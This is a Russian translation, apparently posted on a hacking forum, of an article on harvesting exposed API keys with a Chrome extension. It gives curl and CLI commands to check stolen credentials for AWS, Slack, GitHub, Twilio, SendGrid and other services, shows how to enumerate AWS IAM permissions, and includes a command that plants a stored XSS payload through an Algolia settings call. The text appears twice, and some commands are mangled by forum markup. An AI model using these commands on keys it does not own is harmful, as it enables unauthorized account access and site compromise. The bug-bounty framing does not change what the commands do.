Пожалуйста, обратите внимание, что пользователь заблокирован
Всем привет, Меня зовут Sumit Jain. На этот раз я расскажу о том, как найти скрытые ключи API и как их использовать.
API - это ключи к базам данных организации, поэтому важно контролировать, кто имеет к ним доступ. Стандартные способы аутентификации и авторизации, такие как OAuth / OpenID Connect, в сочетании с безопасностью транспортного уровня (TLS), имеют очень важную роль.
Когда API открыты для всех, они сталкиваются с проблемой - следует ли доверять входящим запросам. Является ли запрос клиентом? Или это злоумышленник? В некоторых случаях, даже если API обнаруживает и успешно отклоняет ненадежный запрос, API, тем не менее, может позволить потенциально злонамеренному пользователю повторить попытку - и снова, и снова, и снова. Этот вид контроля безопасности может позволить злоумышленникам отправлять запрос до того момента, пока он не будет принят. Меры противодействия этим атакам включают политики ограничения скорости для запросов дросселирования, двухфакторную проверку подлинности или кратковременный токен доступа, поддерживаемый OAuth.
Как найти открытые / скрытые ключи API
Есть много способов найти эти ключи API. Вы можете вручную посетить их страницу github или проверить их исходный код. Но я рекомендую вам попробовать этот инструмент (KeyFinder): -
Установка
Теперь вы можете перейти к своей цели и переходить на различные страницы. Расширение будет автоматически находить скрытые/открытые ключи API.
В поле поиска вы можете добавить свои ключевые слова вручную, чтобы найти определенные ключи API
После посещения ссылок, нажмите на Result/S, чтобы посмотреть результаты
Теперь самое интересное, вы нашли несколько ключей и не знаете, что делать дальше.
Ниже приведены подробные сведения о том, как можно использовать конкретные ключи API, найденные в программе Bug Bounty, чтобы проверить, действительны ли они.
1. Коючи API Algolia
Будьте осторожны при выполнении этой команды, поскольку полезная нагрузка может выполняться в административной среде. Рекомендуется использовать более тихую полезную нагрузку (например, XSS Hunter), чтобы доказать возможную атаку межсайтовых скриптов.
2. Идентификатор ключа доступа AWS & Secret
Установите awscli. Задайте ключ доступа и секретный ключ для переменной среды и выполните следующую команду.
Разрешения учетных данных AWS можно определить с помощью Enumerate-IAM. Это дает более широкое представление об обнаруженных привилегиях учетных данных AWS вместо простой проверки сегментов S3.
3. Slack API токен
c
4. Токен доступа к Facebook
5. Идентификатор клиента Github & Secret
6. Twilio Account_sid и токен авторизации
7. Twitter API Secret
8. Twitter Bearer token
9. SendGrid API токен
10. MailGun Private Key
11. Ключ API Heroku
12. Mapbox API key
Секретные ключи Mapbox начинаются с sk, остальные начинаются с pk (открытый токен), sk (секретный токен) или tk (временный токен).
13. Токен доступа Zendesk
14. Тревис CI API токен
15. Персональный токен Gitlab
Переведено специально для https://xss.pro
Переводчик статьи - https://xss.pro/members/177895/
Оригинал - https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d
API - это ключи к базам данных организации, поэтому важно контролировать, кто имеет к ним доступ. Стандартные способы аутентификации и авторизации, такие как OAuth / OpenID Connect, в сочетании с безопасностью транспортного уровня (TLS), имеют очень важную роль.
Когда API открыты для всех, они сталкиваются с проблемой - следует ли доверять входящим запросам. Является ли запрос клиентом? Или это злоумышленник? В некоторых случаях, даже если API обнаруживает и успешно отклоняет ненадежный запрос, API, тем не менее, может позволить потенциально злонамеренному пользователю повторить попытку - и снова, и снова, и снова. Этот вид контроля безопасности может позволить злоумышленникам отправлять запрос до того момента, пока он не будет принят. Меры противодействия этим атакам включают политики ограничения скорости для запросов дросселирования, двухфакторную проверку подлинности или кратковременный токен доступа, поддерживаемый OAuth.
Как найти открытые / скрытые ключи API
Есть много способов найти эти ключи API. Вы можете вручную посетить их страницу github или проверить их исходный код. Но я рекомендую вам попробовать этот инструмент (KeyFinder): -
KeyFinder является расширением Chrome. Оно разработано Mo'men Basel. Расширение ищет в DOM любую ссылку на скрипт, так как тег скрипта может содержать ключи для конкретного API.
Установка
- Скачать или клонировать расширение через https://github.com/momenbasel/KeyFinder.git
- Открыть Chrome и перейти к chrome://extensions
- Включить «Режим разработчика»
- Перетащить в расширения папку keyFinder
Теперь вы можете перейти к своей цели и переходить на различные страницы. Расширение будет автоматически находить скрытые/открытые ключи API.
В поле поиска вы можете добавить свои ключевые слова вручную, чтобы найти определенные ключи API
После посещения ссылок, нажмите на Result/S, чтобы посмотреть результаты
Теперь самое интересное, вы нашли несколько ключей и не знаете, что делать дальше.
Ниже приведены подробные сведения о том, как можно использовать конкретные ключи API, найденные в программе Bug Bounty, чтобы проверить, действительны ли они.
1. Коючи API Algolia
Будьте осторожны при выполнении этой команды, поскольку полезная нагрузка может выполняться в административной среде. Рекомендуется использовать более тихую полезную нагрузку (например, XSS Hunter), чтобы доказать возможную атаку межсайтовых скриптов.
Код:
curl --request PUT \
--url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings \
--header 'content-type: application/json' \
--header 'x-algolia-api-key: <example-key>' \
--header 'x-algolia-application-id: <example-application-id>' \
--data '{"highlightPreTag": "<script>alert(1);</script>"}'
2. Идентификатор ключа доступа AWS & Secret
Установите awscli. Задайте ключ доступа и секретный ключ для переменной среды и выполните следующую команду.
AWS_ACCESS_KEY_ID=xxxx AWS_SECRET_ACCESS_KEY=yyyy aws sts get-caller-identityРазрешения учетных данных AWS можно определить с помощью Enumerate-IAM. Это дает более широкое представление об обнаруженных привилегиях учетных данных AWS вместо простой проверки сегментов S3.
Код:
git clone https://github.com/andresriancho/enumerate-iam
cd enumerate-iam
./enumerate-iam.py — access-key AKIA… — secret-key StF0q…
3. Slack API токен
c
url -sX POST “[URL]https://slack.com/api/auth.test?token=xoxp-TOKEN_HERE&pretty=1[/URL]"4. Токен доступа к Facebook
https://developers.facebook.com/tools/debug/accesstoken/?access_token=ACCESS_TOKEN_HERE&version=v3.25. Идентификатор клиента Github & Secret
curl ‘[URL='https://api.github.com/users/whatever?client_id=xxxx&client_secret=yyyy']https://api.github.com/users/whatever?client_id=xxxx&client_secret=yyyy'[/URL]6. Twilio Account_sid и токен авторизации
curl -X GET ‘[URL='https://api.twilio.com/2010-04-01/Accounts.json']https://api.twilio.com/2010-04-01/Accounts.json'[/URL] -u ACCOUNT_SID:AUTH_TOKEN7. Twitter API Secret
curl -u ‘API key:API secret key’ — data ‘grant_type=client_credentials’ ‘[URL='https://api.twitter.com/oauth2/token']https://api.twitter.com/oauth2/token'[/URL]8. Twitter Bearer token
curl — request GET — url [URL]https://api.twitter.com/1.1/account_activity/all/subscriptions/count.json[/URL]— header ‘authorization: Bearer TOKEN’9. SendGrid API токен
curl -X “GET” “[URL]https://api.sendgrid.com/v3/scopes[/URL]" -H “Authorization: Bearer SENDGRID_TOKEN-HERE” -H “Content-Type: application/json”10. MailGun Private Key
curl — user ‘api:key-PRIVATEKEYHERE’ “[URL]https://api.mailgun.net/v3/domains[/URL]"11. Ключ API Heroku
curl -X POST [URL]https://api.heroku.com/apps[/URL] -H “Accept: application/vnd.heroku+json; version=3” -H “Authorization: Bearer API_KEY_HERE”12. Mapbox API key
Секретные ключи Mapbox начинаются с sk, остальные начинаются с pk (открытый токен), sk (секретный токен) или tk (временный токен).
curl “[URL='https://api.mapbox.com/geocoding/v5/mapbox.places/Los%20Angeles.json?%20access_token%20=%20ACCESS_TOKEN']https://api.mapbox.com/geocoding/v5/mapbox.places/Los%20Angeles.json?access_token=ACCESS_TOKEN[/URL]"13. Токен доступа Zendesk
curl https://{subdomain}.zendesk.com/api/v2/tickets.json \
-H “Authorization: Bearer ACCESS_TOKEN”14. Тревис CI API токен
curl -H “Travis-API-Version: 3” -H “Authorization: token <TOKEN>” [URL='https://api.travis-ci.com/user']https://api.travis-ci.com/user[/URL]15. Персональный токен Gitlab
curl “[URL]https://gitlab.example.com/api/v4/projects?private_token=[/URL]<your_access_token>"Переведено специально для https://xss.pro
Переводчик статьи - https://xss.pro/members/177895/
Оригинал - https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d